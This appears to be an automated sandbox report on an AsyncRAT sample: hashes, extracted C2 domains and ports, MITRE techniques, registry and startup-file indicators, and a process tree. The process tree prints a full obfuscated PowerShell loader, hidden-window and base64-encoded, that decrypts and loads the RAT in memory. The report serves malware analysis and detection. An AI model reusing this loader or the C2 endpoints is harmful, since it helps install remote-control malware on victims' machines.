asyncrat | 79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c

General

Target

79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c.vbs
Size

78KB
MD5

7d6d78a570ec3a06ed4951b100bae952
SHA1

2e10134fc256a1bfe57862f69c83fc7f93949897
SHA256

79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c
SHA512

4508aff8dac72984d66f3eb5ef4eac52f120428a9fa9c0e278fa6f0284aa3a1b88dc88842732855e508ecbfa5ef437a21f01a65b992031f62c892123414377b9
SSDEEP

1536:+GZt0fSE6gUXAXbAiCsj9O4THNXQ4evC65EmJx7gjGSq2FjqGJDvHA/goVP8nJ:+xbv44DNXQxvC66oxiq9+Dvyg2P8nJ

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

billionairewealthz.duckdns.org:3880

billionairewealthz.duckdns.org:3890

billionairebankz.duckdns.org:3880

billionairebankz.duckdns.org:3890

tricodersbankz.freemyip.com:3880

tricodersbankz.freemyip.com:3890

Mutex

Btu9FjkpB23b

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2192-36-0x0000000007930000-0x0000000007942000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
31	2192	powershell.exe
35	2192	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2192	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_3107b4d2.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_3107b4d2.cmd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2192	powershell.exe
2192	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 2884	4812	WScript.exe	85
PID 4812 wrote to memory of 2884	4812	WScript.exe	85
PID 2884 wrote to memory of 3252	2884	cmd.exe	87
PID 2884 wrote to memory of 3252	2884	cmd.exe	87
PID 3252 wrote to memory of 2192	3252	cmd.exe	89
PID 3252 wrote to memory of 2192	3252	cmd.exe	89
PID 3252 wrote to memory of 2192	3252	cmd.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ELu1xjIqz.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ELu1xjIqz.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZ3ZpcnQgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGd2aXJ0KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRndmlydCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRndmlydCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZ3ZpcnQiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gYWtrbHgoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0JYQjlnQlA2NnVsYVdRVGk5Qm14ZG5rcFVTem9LWlZlQ1dqNEVoZFN6Wjg9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3EycEpvR3BFcWZjcVpvdGNCdFl4V2c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24ga29rdmkoJHBhcmFtX3Zhcil7CSR6am5peD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdHduanQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdG90c2c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkempuaXgsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRvdHNnLkNvcHlUbygkdHduanQpOwkkdG90c2cuRGlzcG9zZSgpOwkkempuaXguRGlzcG9zZSgpOwkkdHduanQuRGlzcG9zZSgpOwkkdHduanQuVG9BcnJheSgpO31mdW5jdGlvbiBtcWxweigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHFndG56PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGlraWVrPSRxZ3Ruei5FbnRyeVBvaW50OwkkaWtpZWsuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGd2aXJ0OyRsb3J3cj1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGd2aXJ0KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbnFtIGluICRsb3J3cikgewlpZiAoJG5xbS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHd4enNpPSRucW0uU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG91dmpoPVtzdHJpbmdbXV0kd3h6c2kuU3BsaXQoJ1wnKTskdHZjZGU9a29rdmkgKGFra2x4IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG91dmpoWzBdKSkpOyRzYmJ1Yz1rb2t2aSAoYWtrbHggKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkb3V2amhbMV0pKSk7bXFscHogJHR2Y2RlICRudWxsO21xbHB6ICRzYmJ1YyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ELu1xjIqz.bat

Filesize
70KB

MD5
7deb78f3e137a6b335adb9023c1f78c3

SHA1
0cf3f6c7f64125526bcaa23b952f5c35b8029b79

SHA256
48e34f1082c5ccef3ce344cccb3bb1aecb2f3d6de722b72465c6d07126e3e65f

SHA512
64b701544b51d6a82e828e0144f67ced26e26ded528b1ff66c07f47d27b990a5558d56883d1a1709b9cb140c45987974ab7f8cd84dee1c1b9743f56173a46400

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lv3kygp3.ezu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2192-25-0x00000000063D0000-0x000000000641C000-memory.dmp

Filesize
304KB

Download
memory/2192-23-0x0000000005DB0000-0x0000000006104000-memory.dmp

Filesize
3.3MB

Download
memory/2192-8-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download
memory/2192-10-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download
memory/2192-11-0x0000000005B90000-0x0000000005BB2000-memory.dmp

Filesize
136KB

Download
memory/2192-17-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/2192-7-0x0000000004D50000-0x0000000004D86000-memory.dmp

Filesize
216KB

Download
memory/2192-27-0x0000000006850000-0x000000000686A000-memory.dmp

Filesize
104KB

Download
memory/2192-26-0x0000000007C70000-0x00000000082EA000-memory.dmp

Filesize
6.5MB

Download
memory/2192-24-0x0000000006350000-0x000000000636E000-memory.dmp

Filesize
120KB

Download
memory/2192-9-0x0000000005410000-0x0000000005A38000-memory.dmp

Filesize
6.2MB

Download
memory/2192-6-0x00000000747AE000-0x00000000747AF000-memory.dmp

Filesize
4KB

Download
memory/2192-18-0x0000000005D40000-0x0000000005DA6000-memory.dmp

Filesize
408KB

Download
memory/2192-28-0x00000000075F0000-0x0000000007686000-memory.dmp

Filesize
600KB

Download
memory/2192-29-0x00000000074F0000-0x0000000007512000-memory.dmp

Filesize
136KB

Download
memory/2192-30-0x00000000082F0000-0x0000000008894000-memory.dmp

Filesize
5.6MB

Download
memory/2192-32-0x0000000007730000-0x00000000077C2000-memory.dmp

Filesize
584KB

Download
memory/2192-33-0x0000000007710000-0x0000000007718000-memory.dmp

Filesize
32KB

Download
memory/2192-34-0x0000000007720000-0x000000000772E000-memory.dmp

Filesize
56KB

Download
memory/2192-36-0x0000000007930000-0x0000000007942000-memory.dmp

Filesize
72KB

Download
memory/2192-37-0x00000000747AE000-0x00000000747AF000-memory.dmp

Filesize
4KB

Download
memory/2192-38-0x00000000747A0000-0x0000000074F50000-memory.dmp

Filesize
7.7MB

Download
memory/2192-41-0x0000000007BD0000-0x0000000007C6C000-memory.dmp

Filesize
624KB

Download

Analysis

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